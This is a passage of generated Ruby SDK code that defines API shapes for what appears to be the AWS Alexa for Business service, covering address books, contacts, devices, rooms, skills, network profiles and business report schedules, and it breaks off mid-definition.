AddressBook.add_member(:description, Shapes::ShapeRef.new(shape: AddressBookDescription, location_name: "Description")) AddressBook.struct_class = Types::AddressBook AddressBookData.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "AddressBookArn")) AddressBookData.add_member(:name, Shapes::ShapeRef.new(shape: AddressBookName, location_name: "Name")) AddressBookData.add_member(:description, Shapes::ShapeRef.new(shape: AddressBookDescription, location_name: "Description")) AddressBookData.struct_class = Types::AddressBookData AddressBookDataList.member = Shapes::ShapeRef.new(shape: AddressBookData) AlreadyExistsException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) AlreadyExistsException.struct_class = Types::AlreadyExistsException ApproveSkillRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) ApproveSkillRequest.struct_class = Types::ApproveSkillRequest ApproveSkillResponse.struct_class = Types::ApproveSkillResponse AssociateContactWithAddressBookRequest.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ContactArn")) AssociateContactWithAddressBookRequest.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "AddressBookArn")) AssociateContactWithAddressBookRequest.struct_class = Types::AssociateContactWithAddressBookRequest AssociateContactWithAddressBookResponse.struct_class = Types::AssociateContactWithAddressBookResponse AssociateDeviceWithNetworkProfileRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "DeviceArn")) AssociateDeviceWithNetworkProfileRequest.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "NetworkProfileArn")) AssociateDeviceWithNetworkProfileRequest.struct_class = Types::AssociateDeviceWithNetworkProfileRequest AssociateDeviceWithNetworkProfileResponse.struct_class = Types::AssociateDeviceWithNetworkProfileResponse AssociateDeviceWithRoomRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) AssociateDeviceWithRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) AssociateDeviceWithRoomRequest.struct_class = Types::AssociateDeviceWithRoomRequest AssociateDeviceWithRoomResponse.struct_class = Types::AssociateDeviceWithRoomResponse AssociateSkillGroupWithRoomRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) AssociateSkillGroupWithRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) AssociateSkillGroupWithRoomRequest.struct_class = Types::AssociateSkillGroupWithRoomRequest AssociateSkillGroupWithRoomResponse.struct_class = Types::AssociateSkillGroupWithRoomResponse AssociateSkillWithSkillGroupRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) AssociateSkillWithSkillGroupRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) AssociateSkillWithSkillGroupRequest.struct_class = Types::AssociateSkillWithSkillGroupRequest AssociateSkillWithSkillGroupResponse.struct_class = Types::AssociateSkillWithSkillGroupResponse AssociateSkillWithUsersRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) AssociateSkillWithUsersRequest.struct_class = Types::AssociateSkillWithUsersRequest AssociateSkillWithUsersResponse.struct_class = Types::AssociateSkillWithUsersResponse Audio.add_member(:locale, Shapes::ShapeRef.new(shape: Locale, required: true, location_name: "Locale")) Audio.add_member(:location, Shapes::ShapeRef.new(shape: AudioLocation, required: true, location_name: "Location")) Audio.struct_class = Types::Audio AudioList.member = Shapes::ShapeRef.new(shape: Audio) AuthorizationResult.key = Shapes::ShapeRef.new(shape: Key) AuthorizationResult.value = Shapes::ShapeRef.new(shape: Value) BulletPoints.member = Shapes::ShapeRef.new(shape: BulletPoint) BusinessReport.add_member(:status, Shapes::ShapeRef.new(shape: BusinessReportStatus, location_name: "Status")) BusinessReport.add_member(:failure_code, Shapes::ShapeRef.new(shape: BusinessReportFailureCode, location_name: "FailureCode")) BusinessReport.add_member(:s3_location, Shapes::ShapeRef.new(shape: BusinessReportS3Location, location_name: "S3Location")) BusinessReport.add_member(:delivery_time, Shapes::ShapeRef.new(shape: BusinessReportDeliveryTime, location_name: "DeliveryTime")) BusinessReport.add_member(:download_url, Shapes::ShapeRef.new(shape: BusinessReportDownloadUrl, location_name: "DownloadUrl")) BusinessReport.struct_class = Types::BusinessReport BusinessReportContentRange.add_member(:interval, Shapes::ShapeRef.new(shape: BusinessReportInterval, required: true, location_name: "Interval")) BusinessReportContentRange.struct_class = Types::BusinessReportContentRange BusinessReportRecurrence.add_member(:start_date, Shapes::ShapeRef.new(shape: Date, location_name: "StartDate")) BusinessReportRecurrence.struct_class = Types::BusinessReportRecurrence BusinessReportS3Location.add_member(:path, Shapes::ShapeRef.new(shape: BusinessReportS3Path, location_name: "Path")) BusinessReportS3Location.add_member(:bucket_name, Shapes::ShapeRef.new(shape: CustomerS3BucketName, location_name: "BucketName")) BusinessReportS3Location.struct_class = Types::BusinessReportS3Location BusinessReportSchedule.add_member(:schedule_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ScheduleArn")) BusinessReportSchedule.add_member(:schedule_name, Shapes::ShapeRef.new(shape: BusinessReportScheduleName, location_name: "ScheduleName")) BusinessReportSchedule.add_member(:s3_bucket_name, Shapes::ShapeRef.new(shape: CustomerS3BucketName, location_name: "S3BucketName")) BusinessReportSchedule.add_member(:s3_key_prefix, Shapes::ShapeRef.new(shape: S3KeyPrefix, location_name: "S3KeyPrefix")) BusinessReportSchedule.add_member(:format, Shapes::ShapeRef.new(shape: BusinessReportFormat, location_name: "Format")) BusinessReportSchedule.add_member(:content_range, Shapes::ShapeRef.new(shape: BusinessReportContentRange, location_name: "ContentRange")) BusinessReportSchedule.add_member(:recurrence, Shapes::ShapeRef.new(shape: BusinessReportRecurrence, location_name: "Recurrence")) BusinessReportSchedule.add_member(:last_business_report, Shapes::ShapeRef.new(shape: BusinessReport, location_name: "LastBusinessReport")) BusinessReportSchedule.struct_class = Types::BusinessReportSchedule BusinessReportScheduleList.member = Shapes::ShapeRef.new(shape: BusinessReportSchedule) Category.add_member(:category_id, Shapes::ShapeRef.new(shape: CategoryId, location_name: "CategoryId")) Category.add_member(:category_name, Shapes::ShapeRef.new(shape: CategoryName, location_name: "CategoryName")) Category.struct_class = Types::Category CategoryList.member = Shapes::ShapeRef.new(shape: Category) ConcurrentModificationException.add_member(:message, Shapes::ShapeRef.new(shape: ErrorMessage, location_name: "Message")) ConcurrentModificationException.struct_class = Types::ConcurrentModificationException ConferencePreference.add_member(:default_conference_provider_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DefaultConferenceProviderArn")) ConferencePreference.struct_class = Types::ConferencePreference ConferenceProvider.add_member(:arn, Shapes::ShapeRef.new(shape: Arn, location_name: "Arn")) ConferenceProvider.add_member(:name, Shapes::ShapeRef.new(shape: ConferenceProviderName, location_name: "Name")) ConferenceProvider.add_member(:type, Shapes::ShapeRef.new(shape: ConferenceProviderType, location_name: "Type")) ConferenceProvider.add_member(:ip_dial_in, Shapes::ShapeRef.new(shape: IPDialIn, location_name: "IPDialIn")) ConferenceProvider.add_member(:pstn_dial_in, Shapes::ShapeRef.new(shape: PSTNDialIn, location_name: "PSTNDialIn")) ConferenceProvider.add_member(:meeting_setting, Shapes::ShapeRef.new(shape: MeetingSetting, location_name: "MeetingSetting")) ConferenceProvider.struct_class = Types::ConferenceProvider ConferenceProvidersList.member = Shapes::ShapeRef.new(shape: ConferenceProvider) Contact.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ContactArn")) Contact.add_member(:display_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "DisplayName")) Contact.add_member(:first_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "FirstName")) Contact.add_member(:last_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "LastName")) Contact.add_member(:phone_number, Shapes::ShapeRef.new(shape: RawPhoneNumber, location_name: "PhoneNumber")) Contact.add_member(:phone_numbers, Shapes::ShapeRef.new(shape: PhoneNumberList, location_name: "PhoneNumbers")) Contact.add_member(:sip_addresses, Shapes::ShapeRef.new(shape: SipAddressList, location_name: "SipAddresses")) Contact.struct_class = Types::Contact ContactData.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ContactArn")) ContactData.add_member(:display_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "DisplayName")) ContactData.add_member(:first_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "FirstName")) ContactData.add_member(:last_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "LastName")) ContactData.add_member(:phone_number, Shapes::ShapeRef.new(shape: RawPhoneNumber, location_name: "PhoneNumber")) ContactData.add_member(:phone_numbers, Shapes::ShapeRef.new(shape: PhoneNumberList, location_name: "PhoneNumbers")) ContactData.add_member(:sip_addresses, Shapes::ShapeRef.new(shape: SipAddressList, location_name: "SipAddresses")) ContactData.struct_class = Types::ContactData ContactDataList.member = Shapes::ShapeRef.new(shape: ContactData) Content.add_member(:text_list, Shapes::ShapeRef.new(shape: TextList, location_name: "TextList")) Content.add_member(:ssml_list, Shapes::ShapeRef.new(shape: SsmlList, location_name: "SsmlList")) Content.add_member(:audio_list, Shapes::ShapeRef.new(shape: AudioList, location_name: "AudioList")) Content.struct_class = Types::Content CreateAddressBookRequest.add_member(:name, Shapes::ShapeRef.new(shape: AddressBookName, required: true, location_name: "Name")) CreateAddressBookRequest.add_member(:description, Shapes::ShapeRef.new(shape: AddressBookDescription, location_name: "Description")) CreateAddressBookRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateAddressBookRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateAddressBookRequest.struct_class = Types::CreateAddressBookRequest CreateAddressBookResponse.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "AddressBookArn")) CreateAddressBookResponse.struct_class = Types::CreateAddressBookResponse CreateBusinessReportScheduleRequest.add_member(:schedule_name, Shapes::ShapeRef.new(shape: BusinessReportScheduleName, location_name: "ScheduleName")) CreateBusinessReportScheduleRequest.add_member(:s3_bucket_name, Shapes::ShapeRef.new(shape: CustomerS3BucketName, location_name: "S3BucketName")) CreateBusinessReportScheduleRequest.add_member(:s3_key_prefix, Shapes::ShapeRef.new(shape: S3KeyPrefix, location_name: "S3KeyPrefix")) CreateBusinessReportScheduleRequest.add_member(:format, Shapes::ShapeRef.new(shape: BusinessReportFormat, required: true, location_name: "Format")) CreateBusinessReportScheduleRequest.add_member(:content_range, Shapes::ShapeRef.new(shape: BusinessReportContentRange, required: true, location_name: "ContentRange")) CreateBusinessReportScheduleRequest.add_member(:recurrence, Shapes::ShapeRef.new(shape: BusinessReportRecurrence, location_name: "Recurrence")) CreateBusinessReportScheduleRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateBusinessReportScheduleRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateBusinessReportScheduleRequest.struct_class = Types::CreateBusinessReportScheduleRequest CreateBusinessReportScheduleResponse.add_member(:schedule_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ScheduleArn")) CreateBusinessReportScheduleResponse.struct_class = Types::CreateBusinessReportScheduleResponse CreateConferenceProviderRequest.add_member(:conference_provider_name, Shapes::ShapeRef.new(shape: ConferenceProviderName, required: true, location_name: "ConferenceProviderName")) CreateConferenceProviderRequest.add_member(:conference_provider_type, Shapes::ShapeRef.new(shape: ConferenceProviderType, required: true, location_name: "ConferenceProviderType")) CreateConferenceProviderRequest.add_member(:ip_dial_in, Shapes::ShapeRef.new(shape: IPDialIn, location_name: "IPDialIn")) CreateConferenceProviderRequest.add_member(:pstn_dial_in, Shapes::ShapeRef.new(shape: PSTNDialIn, location_name: "PSTNDialIn")) CreateConferenceProviderRequest.add_member(:meeting_setting, Shapes::ShapeRef.new(shape: MeetingSetting, required: true, location_name: "MeetingSetting")) CreateConferenceProviderRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateConferenceProviderRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateConferenceProviderRequest.struct_class = Types::CreateConferenceProviderRequest CreateConferenceProviderResponse.add_member(:conference_provider_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ConferenceProviderArn")) CreateConferenceProviderResponse.struct_class = Types::CreateConferenceProviderResponse CreateContactRequest.add_member(:display_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "DisplayName")) CreateContactRequest.add_member(:first_name, Shapes::ShapeRef.new(shape: ContactName, required: true, location_name: "FirstName")) CreateContactRequest.add_member(:last_name, Shapes::ShapeRef.new(shape: ContactName, location_name: "LastName")) CreateContactRequest.add_member(:phone_number, Shapes::ShapeRef.new(shape: RawPhoneNumber, location_name: "PhoneNumber")) CreateContactRequest.add_member(:phone_numbers, Shapes::ShapeRef.new(shape: PhoneNumberList, location_name: "PhoneNumbers")) CreateContactRequest.add_member(:sip_addresses, Shapes::ShapeRef.new(shape: SipAddressList, location_name: "SipAddresses")) CreateContactRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateContactRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateContactRequest.struct_class = Types::CreateContactRequest CreateContactResponse.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ContactArn")) CreateContactResponse.struct_class = Types::CreateContactResponse CreateEndOfMeetingReminder.add_member(:reminder_at_minutes, Shapes::ShapeRef.new(shape: EndOfMeetingReminderMinutesList, required: true, location_name: "ReminderAtMinutes")) CreateEndOfMeetingReminder.add_member(:reminder_type, Shapes::ShapeRef.new(shape: EndOfMeetingReminderType, required: true, location_name: "ReminderType")) CreateEndOfMeetingReminder.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, required: true, location_name: "Enabled")) CreateEndOfMeetingReminder.struct_class = Types::CreateEndOfMeetingReminder CreateGatewayGroupRequest.add_member(:name, Shapes::ShapeRef.new(shape: GatewayGroupName, required: true, location_name: "Name")) CreateGatewayGroupRequest.add_member(:description, Shapes::ShapeRef.new(shape: GatewayGroupDescription, location_name: "Description")) CreateGatewayGroupRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, required: true, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateGatewayGroupRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateGatewayGroupRequest.struct_class = Types::CreateGatewayGroupRequest CreateGatewayGroupResponse.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "GatewayGroupArn")) CreateGatewayGroupResponse.struct_class = Types::CreateGatewayGroupResponse CreateInstantBooking.add_member(:duration_in_minutes, Shapes::ShapeRef.new(shape: Minutes, required: true, location_name: "DurationInMinutes")) CreateInstantBooking.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, required: true, location_name: "Enabled")) CreateInstantBooking.struct_class = Types::CreateInstantBooking CreateMeetingRoomConfiguration.add_member(:room_utilization_metrics_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "RoomUtilizationMetricsEnabled")) CreateMeetingRoomConfiguration.add_member(:end_of_meeting_reminder, Shapes::ShapeRef.new(shape: CreateEndOfMeetingReminder, location_name: "EndOfMeetingReminder")) CreateMeetingRoomConfiguration.add_member(:instant_booking, Shapes::ShapeRef.new(shape: CreateInstantBooking, location_name: "InstantBooking")) CreateMeetingRoomConfiguration.add_member(:require_check_in, Shapes::ShapeRef.new(shape: CreateRequireCheckIn, location_name: "RequireCheckIn")) CreateMeetingRoomConfiguration.struct_class = Types::CreateMeetingRoomConfiguration CreateNetworkProfileRequest.add_member(:network_profile_name, Shapes::ShapeRef.new(shape: NetworkProfileName, required: true, location_name: "NetworkProfileName")) CreateNetworkProfileRequest.add_member(:description, Shapes::ShapeRef.new(shape: NetworkProfileDescription, location_name: "Description")) CreateNetworkProfileRequest.add_member(:ssid, Shapes::ShapeRef.new(shape: NetworkSsid, required: true, location_name: "Ssid")) CreateNetworkProfileRequest.add_member(:security_type, Shapes::ShapeRef.new(shape: NetworkSecurityType, required: true, location_name: "SecurityType")) CreateNetworkProfileRequest.add_member(:eap_method, Shapes::ShapeRef.new(shape: NetworkEapMethod, location_name: "EapMethod")) CreateNetworkProfileRequest.add_member(:current_password, Shapes::ShapeRef.new(shape: CurrentWiFiPassword, location_name: "CurrentPassword")) CreateNetworkProfileRequest.add_member(:next_password, Shapes::ShapeRef.new(shape: NextWiFiPassword, location_name: "NextPassword")) CreateNetworkProfileRequest.add_member(:certificate_authority_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "CertificateAuthorityArn")) CreateNetworkProfileRequest.add_member(:trust_anchors, Shapes::ShapeRef.new(shape: TrustAnchorList, location_name: "TrustAnchors")) CreateNetworkProfileRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, required: true, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateNetworkProfileRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateNetworkProfileRequest.struct_class = Types::CreateNetworkProfileRequest CreateNetworkProfileResponse.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "NetworkProfileArn")) CreateNetworkProfileResponse.struct_class = Types::CreateNetworkProfileResponse CreateProfileRequest.add_member(:profile_name, Shapes::ShapeRef.new(shape: ProfileName, required: true, location_name: "ProfileName")) CreateProfileRequest.add_member(:timezone, Shapes::ShapeRef.new(shape: Timezone, required: true, location_name: "Timezone")) CreateProfileRequest.add_member(:address, Shapes::ShapeRef.new(shape: Address, required: true, location_name: "Address")) CreateProfileRequest.add_member(:distance_unit, Shapes::ShapeRef.new(shape: DistanceUnit, required: true, location_name: "DistanceUnit")) CreateProfileRequest.add_member(:temperature_unit, Shapes::ShapeRef.new(shape: TemperatureUnit, required: true, location_name: "TemperatureUnit")) CreateProfileRequest.add_member(:wake_word, Shapes::ShapeRef.new(shape: WakeWord, required: true, location_name: "WakeWord")) CreateProfileRequest.add_member(:locale, Shapes::ShapeRef.new(shape: DeviceLocale, location_name: "Locale")) CreateProfileRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateProfileRequest.add_member(:setup_mode_disabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "SetupModeDisabled")) CreateProfileRequest.add_member(:max_volume_limit, Shapes::ShapeRef.new(shape: MaxVolumeLimit, location_name: "MaxVolumeLimit")) CreateProfileRequest.add_member(:pstn_enabled, Shapes::ShapeRef.new(shape: Boolean, location_name: "PSTNEnabled")) CreateProfileRequest.add_member(:meeting_room_configuration, Shapes::ShapeRef.new(shape: CreateMeetingRoomConfiguration, location_name: "MeetingRoomConfiguration")) CreateProfileRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateProfileRequest.struct_class = Types::CreateProfileRequest CreateProfileResponse.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) CreateProfileResponse.struct_class = Types::CreateProfileResponse CreateRequireCheckIn.add_member(:release_after_minutes, Shapes::ShapeRef.new(shape: Minutes, required: true, location_name: "ReleaseAfterMinutes")) CreateRequireCheckIn.add_member(:enabled, Shapes::ShapeRef.new(shape: Boolean, required: true, location_name: "Enabled")) CreateRequireCheckIn.struct_class = Types::CreateRequireCheckIn CreateRoomRequest.add_member(:room_name, Shapes::ShapeRef.new(shape: RoomName, required: true, location_name: "RoomName")) CreateRoomRequest.add_member(:description, Shapes::ShapeRef.new(shape: RoomDescription, location_name: "Description")) CreateRoomRequest.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) CreateRoomRequest.add_member(:provider_calendar_id, Shapes::ShapeRef.new(shape: ProviderCalendarId, location_name: "ProviderCalendarId")) CreateRoomRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateRoomRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateRoomRequest.struct_class = Types::CreateRoomRequest CreateRoomResponse.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) CreateRoomResponse.struct_class = Types::CreateRoomResponse CreateSkillGroupRequest.add_member(:skill_group_name, Shapes::ShapeRef.new(shape: SkillGroupName, required: true, location_name: "SkillGroupName")) CreateSkillGroupRequest.add_member(:description, Shapes::ShapeRef.new(shape: SkillGroupDescription, location_name: "Description")) CreateSkillGroupRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateSkillGroupRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateSkillGroupRequest.struct_class = Types::CreateSkillGroupRequest CreateSkillGroupResponse.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) CreateSkillGroupResponse.struct_class = Types::CreateSkillGroupResponse CreateUserRequest.add_member(:user_id, Shapes::ShapeRef.new(shape: user_UserId, required: true, location_name: "UserId")) CreateUserRequest.add_member(:first_name, Shapes::ShapeRef.new(shape: user_FirstName, location_name: "FirstName")) CreateUserRequest.add_member(:last_name, Shapes::ShapeRef.new(shape: user_LastName, location_name: "LastName")) CreateUserRequest.add_member(:email, Shapes::ShapeRef.new(shape: Email, location_name: "Email")) CreateUserRequest.add_member(:client_request_token, Shapes::ShapeRef.new(shape: ClientRequestToken, location_name: "ClientRequestToken", metadata: {"idempotencyToken"=>true})) CreateUserRequest.add_member(:tags, Shapes::ShapeRef.new(shape: TagList, location_name: "Tags")) CreateUserRequest.struct_class = Types::CreateUserRequest CreateUserResponse.add_member(:user_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "UserArn")) CreateUserResponse.struct_class = Types::CreateUserResponse DeleteAddressBookRequest.add_member(:address_book_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "AddressBookArn")) DeleteAddressBookRequest.struct_class = Types::DeleteAddressBookRequest DeleteAddressBookResponse.struct_class = Types::DeleteAddressBookResponse DeleteBusinessReportScheduleRequest.add_member(:schedule_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ScheduleArn")) DeleteBusinessReportScheduleRequest.struct_class = Types::DeleteBusinessReportScheduleRequest DeleteBusinessReportScheduleResponse.struct_class = Types::DeleteBusinessReportScheduleResponse DeleteConferenceProviderRequest.add_member(:conference_provider_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ConferenceProviderArn")) DeleteConferenceProviderRequest.struct_class = Types::DeleteConferenceProviderRequest DeleteConferenceProviderResponse.struct_class = Types::DeleteConferenceProviderResponse DeleteContactRequest.add_member(:contact_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "ContactArn")) DeleteContactRequest.struct_class = Types::DeleteContactRequest DeleteContactResponse.struct_class = Types::DeleteContactResponse DeleteDeviceRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "DeviceArn")) DeleteDeviceRequest.struct_class = Types::DeleteDeviceRequest DeleteDeviceResponse.struct_class = Types::DeleteDeviceResponse DeleteDeviceUsageDataRequest.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "DeviceArn")) DeleteDeviceUsageDataRequest.add_member(:device_usage_type, Shapes::ShapeRef.new(shape: DeviceUsageType, required: true, location_name: "DeviceUsageType")) DeleteDeviceUsageDataRequest.struct_class = Types::DeleteDeviceUsageDataRequest DeleteDeviceUsageDataResponse.struct_class = Types::DeleteDeviceUsageDataResponse DeleteGatewayGroupRequest.add_member(:gateway_group_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "GatewayGroupArn")) DeleteGatewayGroupRequest.struct_class = Types::DeleteGatewayGroupRequest DeleteGatewayGroupResponse.struct_class = Types::DeleteGatewayGroupResponse DeleteNetworkProfileRequest.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, required: true, location_name: "NetworkProfileArn")) DeleteNetworkProfileRequest.struct_class = Types::DeleteNetworkProfileRequest DeleteNetworkProfileResponse.struct_class = Types::DeleteNetworkProfileResponse DeleteProfileRequest.add_member(:profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "ProfileArn")) DeleteProfileRequest.struct_class = Types::DeleteProfileRequest DeleteProfileResponse.struct_class = Types::DeleteProfileResponse DeleteRoomRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) DeleteRoomRequest.struct_class = Types::DeleteRoomRequest DeleteRoomResponse.struct_class = Types::DeleteRoomResponse DeleteRoomSkillParameterRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) DeleteRoomSkillParameterRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) DeleteRoomSkillParameterRequest.add_member(:parameter_key, Shapes::ShapeRef.new(shape: RoomSkillParameterKey, required: true, location_name: "ParameterKey")) DeleteRoomSkillParameterRequest.struct_class = Types::DeleteRoomSkillParameterRequest DeleteRoomSkillParameterResponse.struct_class = Types::DeleteRoomSkillParameterResponse DeleteSkillAuthorizationRequest.add_member(:skill_id, Shapes::ShapeRef.new(shape: SkillId, required: true, location_name: "SkillId")) DeleteSkillAuthorizationRequest.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) DeleteSkillAuthorizationRequest.struct_class = Types::DeleteSkillAuthorizationRequest DeleteSkillAuthorizationResponse.struct_class = Types::DeleteSkillAuthorizationResponse DeleteSkillGroupRequest.add_member(:skill_group_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "SkillGroupArn")) DeleteSkillGroupRequest.struct_class = Types::DeleteSkillGroupRequest DeleteSkillGroupResponse.struct_class = Types::DeleteSkillGroupResponse DeleteUserRequest.add_member(:user_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "UserArn")) DeleteUserRequest.add_member(:enrollment_id, Shapes::ShapeRef.new(shape: EnrollmentId, required: true, location_name: "EnrollmentId")) DeleteUserRequest.struct_class = Types::DeleteUserRequest DeleteUserResponse.struct_class = Types::DeleteUserResponse DeveloperInfo.add_member(:developer_name, Shapes::ShapeRef.new(shape: DeveloperName, location_name: "DeveloperName")) DeveloperInfo.add_member(:privacy_policy, Shapes::ShapeRef.new(shape: PrivacyPolicy, location_name: "PrivacyPolicy")) DeveloperInfo.add_member(:email, Shapes::ShapeRef.new(shape: Email, location_name: "Email")) DeveloperInfo.add_member(:url, Shapes::ShapeRef.new(shape: Url, location_name: "Url")) DeveloperInfo.struct_class = Types::DeveloperInfo Device.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) Device.add_member(:device_serial_number, Shapes::ShapeRef.new(shape: DeviceSerialNumber, location_name: "DeviceSerialNumber")) Device.add_member(:device_type, Shapes::ShapeRef.new(shape: DeviceType, location_name: "DeviceType")) Device.add_member(:device_name, Shapes::ShapeRef.new(shape: DeviceName, location_name: "DeviceName")) Device.add_member(:software_version, Shapes::ShapeRef.new(shape: SoftwareVersion, location_name: "SoftwareVersion")) Device.add_member(:mac_address, Shapes::ShapeRef.new(shape: MacAddress, location_name: "MacAddress")) Device.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) Device.add_member(:device_status, Shapes::ShapeRef.new(shape: DeviceStatus, location_name: "DeviceStatus")) Device.add_member(:device_status_info, Shapes::ShapeRef.new(shape: DeviceStatusInfo, location_name: "DeviceStatusInfo")) Device.add_member(:network_profile_info, Shapes::ShapeRef.new(shape: DeviceNetworkProfileInfo, location_name: "NetworkProfileInfo")) Device.struct_class = Types::Device DeviceData.add_member(:device_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "DeviceArn")) DeviceData.add_member(:device_serial_number, Shapes::ShapeRef.new(shape: DeviceSerialNumber, location_name: "DeviceSerialNumber")) DeviceData.add_member(:device_type, Shapes::ShapeRef.new(shape: DeviceType, location_name: "DeviceType")) DeviceData.add_member(:device_name, Shapes::ShapeRef.new(shape: DeviceName, location_name: "DeviceName")) DeviceData.add_member(:software_version, Shapes::ShapeRef.new(shape: SoftwareVersion, location_name: "SoftwareVersion")) DeviceData.add_member(:mac_address, Shapes::ShapeRef.new(shape: MacAddress, location_name: "MacAddress")) DeviceData.add_member(:device_status, Shapes::ShapeRef.new(shape: DeviceStatus, location_name: "DeviceStatus")) DeviceData.add_member(:network_profile_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "NetworkProfileArn")) DeviceData.add_member(:network_profile_name, Shapes::ShapeRef.new(shape: NetworkProfileName, location_name: "NetworkProfileName")) DeviceData.add_member(:room_arn, Shapes::ShapeRef.new(shape: Arn, location_name: "RoomArn")) DeviceData.add_member(:room_name, Shapes::ShapeRef.new(shape: DeviceRoomName, location_name: "RoomName")) DeviceData.add_member(:device_status_info, Shapes::ShapeRef.new(shape: DeviceStatusInfo, location_name: "DeviceStatusInfo")) DeviceData.add_member(:created_time, 